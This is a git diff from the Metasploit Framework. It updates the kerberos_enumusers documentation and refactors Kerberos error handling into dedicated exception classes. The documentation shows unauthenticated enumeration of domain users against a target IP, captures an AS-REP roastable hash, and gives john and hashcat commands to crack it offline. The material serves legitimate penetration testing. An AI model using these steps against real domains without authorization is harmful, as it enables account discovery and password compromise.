diff --git a/documentation/modules/auxiliary/gather/kerberos_enumusers.md b/documentation/modules/auxiliary/gather/kerberos_enumusers.md index 023fb31080af7..fe5922ff354b5 100644 --- a/documentation/modules/auxiliary/gather/kerberos_enumusers.md +++ b/documentation/modules/auxiliary/gather/kerberos_enumusers.md @@ -1,9 +1,21 @@ +## Vulnerable Application + The kerberos_enumusers module is used to enumerate valid Domain Users via Kerberos from a wholly unauthenticated perspective. It utilises the different responses returned by the service to identify users that exist within the target domain. It is also able to identify whether user accounts are enabled or disabled/locked out. +## Verification Steps + +When verifying the module in the listed examples, it is recommended to test the following accounts: + +- Valid account +- Invalid account +- Locked/Disabled account +- Account with spaces +- AS-REP Roastable accounts + ## Target To use kerberos_enumusers, make sure you are able to connect to the @@ -15,54 +27,51 @@ The following demonstrates basic usage, using a custom wordlist, targeting a single Domain Controller to identify valid domain user accounts. +Create a new `./users.txt` file, then run the module: + ``` -msf > use auxiliary/gather/kerberos_enumusers -msf auxiliary(kerberos_enumusers) > set DOMAIN MYDOMAIN -DOMAIN => MYDOMAIN -msf auxiliary(kerberos_enumusers) > set RHOST 192.168.5.1 -RHOST => 192.168.5.1 -msf auxiliary(kerberos_enumusers) > set USER_FILE /job/users.txt -USER_FILE => /job/users.txt -msf auxiliary(kerberos_enumusers) > run - -[*] Validating options... -[*] Using domain: MYDOMAIN... -[*] 192.168.5.1:88 - Testing User: "bob"... -[*] 192.168.5.1:88 - KDC_ERR_PREAUTH_REQUIRED - Additional -pre-authentication required -[+] 192.168.5.1:88 - User: "bob" is present -[*] 192.168.5.1:88 - Testing User: "alice"... -[*] 192.168.5.1:88 - KDC_ERR_PREAUTH_REQUIRED - Additional -pre-authentication required -[+] 192.168.5.1:88 - User: "alice" is present -[*] 192.168.5.1:88 - Testing User: "matt"... -[*] 192.168.5.1:88 - KDC_ERR_PREAUTH_REQUIRED - Additional -pre-authentication required -[+] 192.168.5.1:88 - User: "matt" is present -[*] 192.168.5.1:88 - Testing User: "guest"... -[*] 192.168.5.1:88 - KDC_ERR_CLIENT_REVOKED - Clients credentials have -been revoked -[-] 192.168.5.1:88 - User: "guest" account disabled or locked out -[*] 192.168.5.1:88 - Testing User: "admint"... -[*] 192.168.5.1:88 - KDC_ERR_C_PRINCIPAL_UNKNOWN - Client not found in -Kerberos database -[*] 192.168.5.1:88 - User: "admint" does not exist -[*] 192.168.5.1:88 - Testing User: "admin"... -[*] 192.168.5.1:88 - KDC_ERR_C_PRINCIPAL_UNKNOWN - Client not found in -Kerberos database -[*] 192.168.5.1:88 - User: "admin" does not exist -[*] 192.168.5.1:88 - Testing User: "administrator"... -[*] 192.168.5.1:88 - KDC_ERR_C_PRINCIPAL_UNKNOWN - Client not found in -Kerberos database -[*] 192.168.5.1:88 - User: "administrator" does not exist +msf6 auxiliary(gather/kerberos_enumusers) > run rhost=192.168.123.228 domain=domain.local user_file=./users.txt verbose=true +[*] Running module against 192.168.123.228 + +[*] Using domain: ADF3.LOCAL - 192.168.123.228:88... +[*] 192.168.123.228:88 - User: "missing123" user not found +[+] 192.168.123.228:88 - User: "administrator" is present +[+] 192.168.123.228:88 - User: "account with spaces" is present +[-] 192.168.123.228:88 - User: "locked_account" account disabled or locked out +[+] 192.168.123.228:88 - User: "no_pre_auth" does not require preauthentication. Hash: $krb5asrep$23$no_pre_auth@DOMAIN.LOCAL:bdb54b9e...etc..etc... +[+] 192.168.123.228:88 - User: "fake_mysql" is present +[*] 192.168.123.228:88 - User: "missing1234" user not found [*] Auxiliary module execution completed -msf auxiliary(kerberos_enumusers) > +msf6 auxiliary(gather/kerberos_enumusers) > +``` + +### ASREPRoast Cracking + +Accounts that have `Do not require Kerberos preauthentication` enabled, will receive an ASREP response with a ticket present. +The technique of cracking this token offline is called ASREPRoasting. + +Cracking ASREP response with John: + +``` +john ./hashes.txt --wordlist=./wordlist.txt --format:krb5asrep +``` + +Cracking ASREP response with Hashcat: + +``` +hashcat -m 18200 -a 0 ./hashes.txt ./wordlist.txt +``` + +You can see previously creds with: + +``` +creds -v ``` ## Options -The kerberos_enumusers module only requires the RHOST, DOMAIN and -USER_FILE options to run. +The `kerberos_enumusers` module only requires the `RHOST`, `DOMAIN` and +`USER_FILE` options to run. **The DOMAIN option** diff --git a/lib/metasploit/framework/password_crackers/hashcat/formatter.rb b/lib/metasploit/framework/password_crackers/hashcat/formatter.rb index 80dad6219e4bb..c8d0a83acc2ae 100644 --- a/lib/metasploit/framework/password_crackers/hashcat/formatter.rb +++ b/lib/metasploit/framework/password_crackers/hashcat/formatter.rb @@ -98,6 +98,8 @@ def hash_to_hashcat(cred) # https://hashcat.net/forum/thread-8833.html # while we can do the transformation, we'd have to throw extra flags at hashcat which aren't currently written into the lib for automation nil + when /^krb5$/ + return cred.private.data.to_s end end nil diff --git a/lib/msf/core/exploit/remote/kerberos/client/tgs_request.rb b/lib/msf/core/exploit/remote/kerberos/client/tgs_request.rb index 798c1d205f39a..aee56999985ab 100644 --- a/lib/msf/core/exploit/remote/kerberos/client/tgs_request.rb +++ b/lib/msf/core/exploit/remote/kerberos/client/tgs_request.rb @@ -87,7 +87,7 @@ def build_tgs_request(opts = {}) # @option opts [Rex::Proto::Kerberos::Model::AuthorizationData] :auth_data # @option opts [Rex::Proto::Kerberos::Model::EncryptionKey] :subkey # @return [Rex::Proto::Kerberos::Model::EncryptedData] - # @raise [RuntimeError] if auth_data option isn't provided + # @raise [Rex::Proto::Kerberos::Model::Error::KerberosError] if auth_data option isn't provided # @see Rex::Proto::Kerberos::Model::AuthorizationData # @see Rex::Proto::Kerberos::Model::EncryptionKey # @see Rex::Proto::Kerberos::Model::EncryptedData @@ -95,7 +95,7 @@ def build_enc_auth_data(opts = {}) auth_data = opts[:auth_data] if auth_data.nil? - raise ::RuntimeError, 'auth_data option required on #build_enc_auth_data' + raise ::Rex::Proto::Kerberos::Model::Error::KerberosError, 'auth_data option required on #build_enc_auth_data' end subkey = opts[:subkey] || build_subkey(opts) @@ -120,7 +120,7 @@ def build_enc_auth_data(opts = {}) # @option opts [Rex::Proto::Kerberos::Model::EncryptedData] :authenticator # @option opts [Rex::Proto::Kerberos::Model::EncryptionKey] :session_key # @return [Rex::Proto::Kerberos::Model::EncryptionKey] - # @raise [RuntimeError] if ticket option isn't provided + # @raise [Rex::Proto::Kerberos::Model::Error::KerberosError] if ticket option isn't provided # @see Rex::Proto::Kerberos::Model::Ticket # @see Rex::Proto::Kerberos::Model::EncryptedData # @see Rex::Proto::Kerberos::Model::EncryptionKey @@ -133,7 +133,7 @@ def build_ap_req(opts = {}) session_key = opts[:session_key] || build_subkey(opts) if ticket.nil? - raise ::RuntimeError, 'Building a AP-REQ without ticket not supported' + raise ::Rex::Proto::Kerberos::Model::Error::KerberosError, 'Building a AP-REQ without ticket not supported' end enc_authenticator = Rex::Proto::Kerberos::Model::EncryptedData.new( diff --git a/lib/rex/proto/kerberos/client.rb b/lib/rex/proto/kerberos/client.rb index be3600b9e944f..cd45f7e460439 100644 --- a/lib/rex/proto/kerberos/client.rb +++ b/lib/rex/proto/kerberos/client.rb @@ -157,18 +157,18 @@ def send_request_udp(req) # Receives a Kerberos Response over a tcp connection # # @return [] the kerberos message response - # @raise [RuntimeError] if the response can't be processed + # @raise [Rex::Proto::Kerberos::Model::Error::KerberosDecodingError] if the response can't be processed # @raise [EOFError] if expected data can't be read def recv_response_tcp length_raw = connection.get_once(4, timeout) unless length_raw && length_raw.length == 4 - raise ::RuntimeError, 'Kerberos Client: failed to read response' + raise ::EOFError, 'Kerberos Client: failed to read response' end length = length_raw.unpack('N')[0] data = connection.get_once(length, timeout) unless data && data.length == length - raise ::RuntimeError, 'Kerberos Client: failed to read response' + raise ::EOFError, 'Kerberos Client: failed to read response' end res = decode_kerb_response(data) @@ -189,7 +189,7 @@ def recv_response_udp # # @param data [String] the raw response message # @return [] the kerberos message response - # @raise [RuntimeError] if the response can't be processed + # @raise [Rex::Proto::Kerberos::Model::Error::KerberosDecodingError] if the response can't be processed def decode_kerb_response(data) asn1 = OpenSSL::ASN1.decode(data) msg_type = asn1.value[0].value[1].value[0].value @@ -202,7 +202,7 @@ def decode_kerb_response(data) when Rex::Proto::Kerberos::Model::TGS_REP res = Rex::Proto::Kerberos::Model::KdcResponse.decode(asn1) else - raise ::RuntimeError, 'Kerberos Client: Unknown response' + raise ::Rex::Proto::Kerberos::Model::Error::KerberosDecodingError, 'Kerberos Client: Unknown response' end res diff --git a/lib/rex/proto/kerberos/crypto/rc4_hmac.rb b/lib/rex/proto/kerberos/crypto/rc4_hmac.rb index 661dc19602803..9235d250a922e 100644 --- a/lib/rex/proto/kerberos/crypto/rc4_hmac.rb +++ b/lib/rex/proto/kerberos/crypto/rc4_hmac.rb @@ -11,7 +11,7 @@ module Rc4Hmac # @param key [String] the key to decrypt # @param msg_type [Integer] the message type # @return [String] the decrypted cipher - # @raise [RuntimeError] if decryption doesn't succeed + # @raise [Rex::Proto::Kerberos::Model::Error::KerberosError] if decryption doesn't succeed def decrypt_rc4_hmac(cipher, key, msg_type) unless cipher && cipher.length > 16 raise ::RuntimeError, 'RC4-HMAC decryption failed' @@ -29,7 +29,7 @@ def decrypt_rc4_hmac(cipher, key, msg_type) decrypted = cipher.update(data) + cipher.final if OpenSSL::HMAC.digest('MD5', k1, decrypted) != checksum - raise ::RuntimeError, 'RC4-HMAC decryption failed, incorrect checksum verification' + raise ::Rex::Proto::Kerberos::Model::Error::KerberosError, 'RC4-HMAC decryption failed, incorrect checksum verification' end decrypted @@ -62,4 +62,4 @@ def encrypt_rc4_hmac(data, key, msg_type) end end end -end \ No newline at end of file +end diff --git a/lib/rex/proto/kerberos/model.rb b/lib/rex/proto/kerberos/model.rb index f7cdea70b9c4e..b894b26e9ff8f 100644 --- a/lib/rex/proto/kerberos/model.rb +++ b/lib/rex/proto/kerberos/model.rb @@ -17,57 +17,6 @@ module Model AUTHENTICATOR = 2 AP_REQ = 14 - # Kerberos error codes - ERROR_CODES = { - 0 => ['KDC_ERR_NONE', 'No error'], - 1 => ['KDC_ERR_NAME_EXP', 'Client\'s entry in database has expired'], - 2 => ['KDC_ERR_SERVICE_EXP', 'Server\'s entry in database has expired'], - 3 => ['KDC_ERR_BAD_PVNO', 'Requested protocol version number not supported'], - 4 => ['KDC_ERR_C_OLD_MAST_KVNO', 'Client\'s key encrypted in old master key'], - 5 => ['KDC_ERR_S_OLD_MAST_KVNO', 'Server\'s key encrypted in old master key'], - 6 => ['KDC_ERR_C_PRINCIPAL_UNKNOWN', 'Client not found in Kerberos database'], - 7 => ['KDC_ERR_S_PRINCIPAL_UNKNOWN', 'Server not found in Kerberos database'], - 8 => ['KDC_ERR_PRINCIPAL_NOT_UNIQUE', 'Multiple principal entries in database'], - 9 => ['KDC_ERR_NULL_KEY', 'The client or server has a null key'], - 10 => ['KDC_ERR_CANNOT_POSTDATE', 'Ticket not eligible for postdating'], - 11 => ['KDC_ERR_NEVER_VALID', 'Requested start time is later than end time'], - 12 => ['KDC_ERR_POLICY', 'KDC policy rejects request'], - 13 => ['KDC_ERR_BADOPTION', 'KDC cannot accommodate requested option'], - 14 => ['KDC_ERR_ETYPE_NOSUPP', 'KDC has no support for encryption type'], - 15 => ['KDC_ERR_SUMTYPE_NOSUPP', 'KDC has no support for checksum type'], - 16 => ['KDC_ERR_PADATA_TYPE_NOSUPP', 'KDC has no support for padata type'], - 17 => ['KDC_ERR_TRTYPE_NOSUPP', 'KDC has no support for transited type'], - 18 => ['KDC_ERR_CLIENT_REVOKED', 'Clients credentials have been revoked'], - 19 => ['KDC_ERR_SERVICE_REVOKED', 'Credentials for server have been revoked'], - 20 => ['KDC_ERR_TGT_REVOKED', 'TGT has been revoked'], - 21 => ['KDC_ERR_CLIENT_NOTYET', 'Client not yet valid - try again later'], - 22 => ['KDC_ERR_SERVICE_NOTYET', 'Server not yet valid - try again later'], - 23 => ['KDC_ERR_KEY_EXPIRED', 'Password has expired - change password to reset'], - 24 => ['KDC_ERR_PREAUTH_FAILED', 'Pre-authentication information was invalid'], - 25 => ['KDC_ERR_PREAUTH_REQUIRED', 'Additional pre-authentication required'], - 31 => ['KRB_AP_ERR_BAD_INTEGRITY', 'Integrity check on decrypted field failed'], - 32 => ['KRB_AP_ERR_TKT_EXPIRED', 'Ticket expired'], - 33 => ['KRB_AP_ERR_TKT_NYV', 'Ticket not yet valid'], - 34 => ['KRB_AP_ERR_REPEAT', 'Request is a replay'], - 35 => ['KRB_AP_ERR_NOT_US', 'The ticket isn\'t for us'], - 36 => ['KRB_AP_ERR_BADMATCH', 'Ticket and authenticator don\'t match'], - 37 => ['KRB_AP_ERR_SKEW', 'Clock skew too great'], - 38 => ['KRB_AP_ERR_BADADDR', 'Incorrect net address'], - 39 => ['KRB_AP_ERR_BADVERSION', 'Protocol version mismatch'], - 40 => ['KRB_AP_ERR_MSG_TYPE', 'Invalid msg type'], - 41 => ['KRB_AP_ERR_MODIFIED', 'Message stream modified'], - 42 => ['KRB_AP_ERR_BADORDER', 'Message out of order'], - 44 => ['KRB_AP_ERR_BADKEYVER', 'Specified version of key is not available'], - 45 => ['KRB_AP_ERR_NOKEY', 'Service key not available'], - 46 => ['KRB_AP_ERR_MUT_FAIL', 'Mutual authentication failed'], - 47 => ['KRB_AP_ERR_BADDIRECTION', 'Incorrect message direction'], - 48 => ['KRB_AP_ERR_METHOD', 'Alternative authentication method required'], - 49 => ['KRB_AP_ERR_BADSEQ', 'Incorrect sequence number in message'], - 50 => ['KRB_AP_ERR_INAPP_CKSUM', 'Inappropriate type of checksum in message'], - 60 => ['KRB_ERR_GENERIC', 'Generic error'], - 61 => ['KRB_ERR_FIELD_TOOLONG', 'Field is too long for this implementation'] - } - KDC_OPTION_RESERVED = 0 KDC_OPTION_FORWARDABLE = 1 KDC_OPTION_FORWARDED = 2 diff --git a/lib/rex/proto/kerberos/model/enc_kdc_response.rb b/lib/rex/proto/kerberos/model/enc_kdc_response.rb index 434376f0ab436..458f105bf0945 100644 --- a/lib/rex/proto/kerberos/model/enc_kdc_response.rb +++ b/lib/rex/proto/kerberos/model/enc_kdc_response.rb @@ -49,7 +49,7 @@ class EncKdcResponse < Element # # @param input [String, OpenSSL::ASN1::ASN1Data] the input to decode from # @return [self] if decoding succeeds - # @raise [RuntimeError] if decoding doesn't succeed + # @raise [Rex::Proto::Kerberos::Model::Error::KerberosDecodingError] if decoding doesn't succeed def decode(input) case input when String @@ -57,7 +57,7 @@ def decode(input) when OpenSSL::ASN1::ASN1Data decode_asn1(input) else - raise ::RuntimeError, 'Failed to decode EncKdcResponse, invalid input' + raise ::Rex::Proto::Kerberos::Model::Error::KerberosDecodingError, 'Failed to decode EncKdcResponse, invalid input' end self @@ -84,7 +84,7 @@ def decode_string(input) # Decodes a Rex::Proto::Kerberos::Model::EncKdcResponse # # @param input [OpenSSL::ASN1::ASN1Data] the input to decode from - # @raise [RuntimeError] if decoding doesn't succeed + # @raise [Rex::Proto::Kerberos::Model::Error::KerberosDecodingError] if decoding doesn't succeed def decode_asn1(input) input.value[0].value.each do |val| case val.tag @@ -111,7 +111,7 @@ def decode_asn1(input) when 10 self.sname = decode_sname(val) else - raise ::RuntimeError, 'Failed to decode ENC-KDC-RESPONSE SEQUENCE' + raise ::Rex::Proto::Kerberos::Model::Error::KerberosDecodingError, 'Failed to decode ENC-KDC-RESPONSE SEQUENCE' end end end @@ -212,4 +212,4 @@ def decode_sname(input) end end end -end \ No newline at end of file +end diff --git a/lib/rex/proto/kerberos/model/encrypted_data.rb b/lib/rex/proto/kerberos/model/encrypted_data.rb index a34f5c5040475..4736b50fe56c6 100644 --- a/lib/rex/proto/kerberos/model/encrypted_data.rb +++ b/lib/rex/proto/kerberos/model/encrypted_data.rb @@ -20,7 +20,7 @@ class EncryptedData < Element # # @param input [String, OpenSSL::ASN1::Sequence] the input to decode from # @return [self] - # @raise [RuntimeError] if decoding doesn't succeed + # @raise [Rex::Proto::Kerberos::Model::Error::KerberosDecodingError] if decoding doesn't succeed def decode(input) case input when String @@ -28,7 +28,7 @@ def decode(input) when OpenSSL::ASN1::Sequence decode_asn1(input) else - raise ::RuntimeError, 'Failed to decode EncryptedData Name, invalid input' + raise ::Rex::Proto::Kerberos::Model::Error::KerberosDecodingError, 'Failed to decode EncryptedData Name, invalid input' end self @@ -60,7 +60,7 @@ def encode # @param key [String] the key to decrypt # @param msg_type [Integer] the message type # @return [String] the decrypted `cipher` - # @raise [RuntimeError] if decryption doesn't succeed + # @raise [Rex::Proto::Kerberos::Model::Error::KerberosDecodingError] if decryption doesn't succeed # @raise [NotImplementedError] if encryption isn't supported def decrypt(key, msg_type) if cipher.nil? || cipher.empty? @@ -71,7 +71,7 @@ def decrypt(key, msg_type) case etype when RC4_HMAC res = decrypt_rc4_hmac(cipher, key, msg_type) - raise ::RuntimeError, 'EncryptedData failed to decrypt' if res.length < 8 + raise ::Rex::Proto::Kerberos::Model::Error::KerberosDecodingError, 'EncryptedData failed to decrypt' if res.length < 8 res = res[8, res.length - 1] else raise ::NotImplementedError, 'EncryptedData schema is not supported' @@ -94,12 +94,14 @@ def encode_etype # Encodes the kvno # - # @raise [RuntimeError] + # @raise [Rex::Proto::Kerberos::Model::Error::KerberosDecodingError] def encode_kvno bn = OpenSSL::BN.new(kvno.to_s) int = OpenSSL::ASN1::Integer.new(bn) int + rescue OpenSSL::ASN1::ASN1Error + raise Rex::Proto::Kerberos::Model::Error::KerberosDecodingError end # Encodes the cipher @@ -122,7 +124,7 @@ def decode_string(input) # OpenSSL::ASN1::Sequence # # @param input [OpenSSL::ASN1::Sequence] the input to decode from - # @raise [RuntimeError] if decoding doesn't succeed + # @raise [Rex::Proto::Kerberos::Model::Error::KerberosDecodingError] if decoding doesn't succeed def decode_asn1(input) seq_values = input.value @@ -135,7 +137,7 @@ def decode_asn1(input) when 2 self.cipher = decode_cipher(val) else - raise ::RuntimeError, 'Failed to decode EncryptedData SEQUENCE' + raise ::Rex::Proto::Kerberos::Model::Error::KerberosDecodingError, 'Failed to decode EncryptedData SEQUENCE' end end end @@ -168,4 +170,4 @@ def decode_cipher(input) end end end -end \ No newline at end of file +end diff --git a/lib/rex/proto/kerberos/model/encryption_key.rb b/lib/rex/proto/kerberos/model/encryption_key.rb index c5d90634cd446..0e576bacda2dc 100644 --- a/lib/rex/proto/kerberos/model/encryption_key.rb +++ b/lib/rex/proto/kerberos/model/encryption_key.rb @@ -19,7 +19,7 @@ class EncryptionKey < Element # # @param input [String, OpenSSL::ASN1::Sequence] the input to decode from # @return [self] if decoding succeeds - # @raise [RuntimeError] if decoding doesn't succeed + # @raise [Rex::Proto::Kerberos::Model::Error::KerberosDecodingError] if decoding doesn't succeed def decode(input) case input when String @@ -27,7 +27,7 @@ def decode(input) when OpenSSL::ASN1::Sequence decode_asn1(input) else - raise ::RuntimeError, 'Failed to decode EncryptionKey, invalid input' + raise ::Rex::Proto::Kerberos::Model::Error::KerberosDecodingError, 'Failed to decode EncryptionKey, invalid input' end self @@ -103,4 +103,4 @@ def encode_value end end end -end \ No newline at end of file +end diff --git a/lib/rex/proto/kerberos/model/error.rb b/lib/rex/proto/kerberos/model/error.rb new file mode 100644 index 0000000000000..b021bd74dc4bf --- /dev/null +++ b/lib/rex/proto/kerberos/model/error.rb @@ -0,0 +1,133 @@ +# -*- coding: binary -*- +# frozen_string_literal: true + +module Rex + module Proto + module Kerberos + module Model + module Error + ### + # This class represents a Kerberos Error Code as defined in: + # https://datatracker.ietf.org/doc/html/rfc4120#section-7.5.9 + # https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4768#table-2-kerberos-ticket-flags) + ## + class ErrorCode + # @return [String] the description of the error the code represents + attr_reader :description + # @return [String] the name of the error code + attr_reader :name + # @return [Integer] the error code that was given as a return value + attr_reader :value + + # @param [String] name the 'name' of the error code (i.e KDC_ERR_NONE) + # @param [Integer] value the return value that represents that error (i.e. 0) + # @param [String] description the verbose description of the error + # @raise [ArgumentError] if any of the parameters are of an invalid type + def initialize(name, value, description) + raise ArgumentError, 'Invalid Error Name' unless name.is_a?(String) && !name.empty? + raise ArgumentError, 'Invalid Error Code Value' unless value.is_a?(Integer) + raise ArgumentError, 'Invalid Error Description' unless description.is_a?(String) && !description.empty? + + @name = name + @value = value + @description = description + end + + # Override the equality test for ErrorCodes. Equality is + # always tested against the #value of the error code. + # + # @param [Object] other_object the object to test equality against + # @raise [ArgumentError] if the other object is not either another ErrorCode or a Integer + # @return [Boolean] whether the equality test passed + def ==(other) + if other.is_a? self.class + value == other.value + elsif other.is_a? Integer + value == other + elsif other.nil? + false + else + raise ArgumentError, "Cannot compare a #{self.class} to a #{other.class}" + end + end + + alias === == + + def to_s + "#{name} (#{value}) - #{description}" + end + end + + # https://datatracker.ietf.org/doc/html/rfc4120#section-7.5.9 + # https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4768#table-2-kerberos-ticket-flags + module ErrorCodes + KDC_ERR_NONE = ErrorCode.new('KDC_ERR_NONE', 0, 'No error') + KDC_ERR_NAME_EXP = ErrorCode.new('KDC_ERR_NAME_EXP', 1, "Client's entry in database has expired") + KDC_ERR_SERVICE_EXP = ErrorCode.new('KDC_ERR_SERVICE_EXP', 2, "Server's entry in database has expired") + KDC_ERR_BAD_PVNO = ErrorCode.new('KDC_ERR_BAD_PVNO', 3, 'Requested protocol version number not supported') + KDC_ERR_C_OLD_MAST_KVNO = ErrorCode.new('KDC_ERR_C_OLD_MAST_KVNO', 4, "Client's key encrypted in old master key") + KDC_ERR_S_OLD_MAST_KVNO = ErrorCode.new('KDC_ERR_S_OLD_MAST_KVNO', 5, "Server's key encrypted in old master key") + KDC_ERR_C_PRINCIPAL_UNKNOWN = ErrorCode.new('KDC_ERR_C_PRINCIPAL_UNKNOWN', 6, 'Client not found in Kerberos database') + KDC_ERR_S_PRINCIPAL_UNKNOWN = ErrorCode.new('KDC_ERR_S_PRINCIPAL_UNKNOWN', 7, 'Server not found in Kerberos database') + KDC_ERR_PRINCIPAL_NOT_UNIQUE = ErrorCode.new('KDC_ERR_PRINCIPAL_NOT_UNIQUE', 8, 'Multiple principal entries in database') + KDC_ERR_NULL_KEY = ErrorCode.new('KDC_ERR_NULL_KEY', 9, 'The client or server has a null key') + KDC_ERR_CANNOT_POSTDATE = ErrorCode.new('KDC_ERR_CANNOT_POSTDATE', 10, 'Ticket not eligible for postdating') + KDC_ERR_NEVER_VALID = ErrorCode.new('KDC_ERR_NEVER_VALID', 11, 'Requested start time is later than end time') + KDC_ERR_POLICY = ErrorCode.new('KDC_ERR_POLICY', 12, 'KDC policy rejects request') + KDC_ERR_BADOPTION = ErrorCode.new('KDC_ERR_BADOPTION', 13, 'KDC cannot accommodate requested option') + KDC_ERR_ETYPE_NOSUPP = ErrorCode.new('KDC_ERR_ETYPE_NOSUPP', 14, 'KDC has no support for encryption type') + KDC_ERR_SUMTYPE_NOSUPP = ErrorCode.new('KDC_ERR_SUMTYPE_NOSUPP', 15, 'KDC has no support for checksum type') + KDC_ERR_PADATA_TYPE_NOSUPP = ErrorCode.new('KDC_ERR_PADATA_TYPE_NOSUPP', 16, 'KDC has no support for padata type') + KDC_ERR_TRTYPE_NOSUPP = ErrorCode.new('KDC_ERR_TRTYPE_NOSUPP', 17, 'KDC has no support for transited type') + KDC_ERR_CLIENT_REVOKED = ErrorCode.new('KDC_ERR_CLIENT_REVOKED', 18, 'Clients credentials have been revoked') + KDC_ERR_SERVICE_REVOKED = ErrorCode.new('KDC_ERR_SERVICE_REVOKED', 19, 'Credentials for server have been revoked') + KDC_ERR_TGT_REVOKED = ErrorCode.new('KDC_ERR_TGT_REVOKED', 20, 'TGT has been revoked') + KDC_ERR_CLIENT_NOTYET = ErrorCode.new('KDC_ERR_CLIENT_NOTYET', 21, 'Client not yet valid - try again later') + KDC_ERR_SERVICE_NOTYET = ErrorCode.new('KDC_ERR_SERVICE_NOTYET', 22, 'Server not yet valid - try again later') + KDC_ERR_KEY_EXPIRED = ErrorCode.new('KDC_ERR_KEY_EXPIRED', 23, 'Password has expired - change password to reset') + KDC_ERR_PREAUTH_FAILED = ErrorCode.new('KDC_ERR_PREAUTH_FAILED', 24, 'Pre-authentication information was invalid') + KDC_ERR_PREAUTH_REQUIRED = ErrorCode.new('KDC_ERR_PREAUTH_REQUIRED', 25, 'Additional pre-authentication required') + KRB_AP_ERR_BAD_INTEGRITY = ErrorCode.new('KRB_AP_ERR_BAD_INTEGRITY', 31, 'Integrity check on decrypted field failed') + KRB_AP_ERR_TKT_EXPIRED = ErrorCode.new('KRB_AP_ERR_TKT_EXPIRED', 32, 'Ticket expired') + KRB_AP_ERR_TKT_NYV = ErrorCode.new('KRB_AP_ERR_TKT_NYV', 33, 'Ticket not yet valid') + KRB_AP_ERR_REPEAT = ErrorCode.new('KRB_AP_ERR_REPEAT', 34, 'Request is a replay') + KRB_AP_ERR_NOT_US = ErrorCode.new('KRB_AP_ERR_NOT_US', 35, "The ticket isn't for us") + KRB_AP_ERR_BADMATCH = ErrorCode.new('KRB_AP_ERR_BADMATCH', 36, "Ticket and authenticator don't match") + KRB_AP_ERR_SKEW = ErrorCode.new('KRB_AP_ERR_SKEW', 37, 'Clock skew too great') + KRB_AP_ERR_BADADDR = ErrorCode.new('KRB_AP_ERR_BADADDR', 38, 'Incorrect net address') + KRB_AP_ERR_BADVERSION = ErrorCode.new('KRB_AP_ERR_BADVERSION', 39, 'Protocol version mismatch') + KRB_AP_ERR_MSG_TYPE = ErrorCode.new('KRB_AP_ERR_MSG_TYPE', 40, 'Invalid msg type') + KRB_AP_ERR_MODIFIED = ErrorCode.new('KRB_AP_ERR_MODIFIED', 41, 'Message stream modified') + KRB_AP_ERR_BADORDER = ErrorCode.new('KRB_AP_ERR_BADORDER', 42, 'Message out of order') + KRB_AP_ERR_BADKEYVER = ErrorCode.new('KRB_AP_ERR_BADKEYVER', 44, 'Specified version of key is not available') + KRB_AP_ERR_NOKEY = ErrorCode.new('KRB_AP_ERR_NOKEY', 45, 'Service key not available') + KRB_AP_ERR_MUT_FAIL = ErrorCode.new('KRB_AP_ERR_MUT_FAIL', 46, 'Mutual authentication failed') + KRB_AP_ERR_BADDIRECTION = ErrorCode.new('KRB_AP_ERR_BADDIRECTION', 47, 'Incorrect message direction') + KRB_AP_ERR_METHOD = ErrorCode.new('KRB_AP_ERR_METHOD', 48, 'Alternative authentication method required') + KRB_AP_ERR_BADSEQ = ErrorCode.new('KRB_AP_ERR_BADSEQ', 49, 'Incorrect sequence number in message') + KRB_AP_ERR_INAPP_CKSUM = ErrorCode.new('KRB_AP_ERR_INAPP_CKSUM', 50, 'Inappropriate type of checksum in message') + KRB_ERR_GENERIC = ErrorCode.new('KRB_ERR_GENERIC', 60, 'Generic error') + KRB_ERR_FIELD_TOOLONG = ErrorCode.new('KRB_ERR_FIELD_TOOLONG', 61, 'Field is too long for this implementation') + KDC_ERR_WRONG_REALM = ErrorCode.new('KDC_ERR_WRONG_REALM', 68, 'Wrong Realm / domain') + + # Allow lookup of errors via numerical value + ERROR_MAP = ErrorCodes.constants.each_with_object({}) do |const, map| + next if const == :ERROR_MAP + + error_code = ErrorCodes.const_get(const) + map[error_code.value] = error_code + end + end + + # Runtime Error which can be raised by the Rex::Proto::Kerberos API + class KerberosError < ::StandardError + end + + # Runtime Decoding Error which can be raised by the Rex::Proto::Kerberos API + class KerberosDecodingError < KerberosError + end + end + end + end + end +end diff --git a/lib/rex/proto/kerberos/model/kdc_request.rb b/lib/rex/proto/kerberos/model/kdc_request.rb index 007a5c22c3544..aa6cbc6cdbdf5 100644 --- a/lib/rex/proto/kerberos/model/kdc_request.rb +++ b/lib/rex/proto/kerberos/model/kdc_request.rb @@ -25,7 +25,7 @@ class KdcRequest < Element # # @param input [String, OpenSSL::ASN1::ASN1Data] the input to decode from # @return [self] if decoding succeeds - # @raise [RuntimeError] if decoding doesn't succeed + # @raise [Rex::Proto::Kerberos::Model::Error::KerberosDecodingError] if decoding doesn't succeed def decode(input) case input when String @@ -33,7 +33,7 @@ def decode(input) when OpenSSL::ASN1::ASN1Data decode_asn1(input) else - raise ::RuntimeError, 'Failed to decode KdcRequest, invalid input' + raise ::Rex::Proto::Kerberos::Model::Error::KerberosDecodingError, 'Failed to decode KdcRequest, invalid input' end self @@ -105,7 +105,7 @@ def decode_string(input) # Decodes a Rex::Proto::Kerberos::Model::KdcRequest # # @param input [OpenSSL::ASN1::ASN1Data] the input to decode from - # @raise [RuntimeError] if decoding doesn't succeed + # @raise [Rex::Proto::Kerberos::Model::Error::KerberosDecodingError] if decoding doesn't succeed def decode_asn1(input) input.value[0].value.each do |val| case val.tag @@ -118,7 +118,7 @@ def decode_asn1(input) when 4 self.req_body = decode_asn1_req_body(val) else - raise ::RuntimeError, 'Failed to decode KdcRequest SEQUENCE' + raise ::Rex::Proto::Kerberos::Model::Error::KerberosDecodingError, 'Failed to decode KdcRequest SEQUENCE' end end end diff --git a/lib/rex/proto/kerberos/model/kdc_request_body.rb b/lib/rex/proto/kerberos/model/kdc_request_body.rb index 2cdeea536cac7..35501f6ed5396 100644 --- a/lib/rex/proto/kerberos/model/kdc_request_body.rb +++ b/lib/rex/proto/kerberos/model/kdc_request_body.rb @@ -42,7 +42,7 @@ class KdcRequestBody < Element # # @param input [String, OpenSSL::ASN1::Sequence] the input to decode from # @return [self] if decoding succeeds - # @raise [RuntimeError] if decoding doesn't succeed + # @raise [Rex::Proto::Kerberos::Model::Error::KerberosDecodingError] if decoding doesn't succeed def decode(input) case input when String @@ -50,7 +50,7 @@ def decode(input) when OpenSSL::ASN1::Sequence decode_asn1(input) else - raise ::RuntimeError, 'Failed to decode KdcRequestBody, 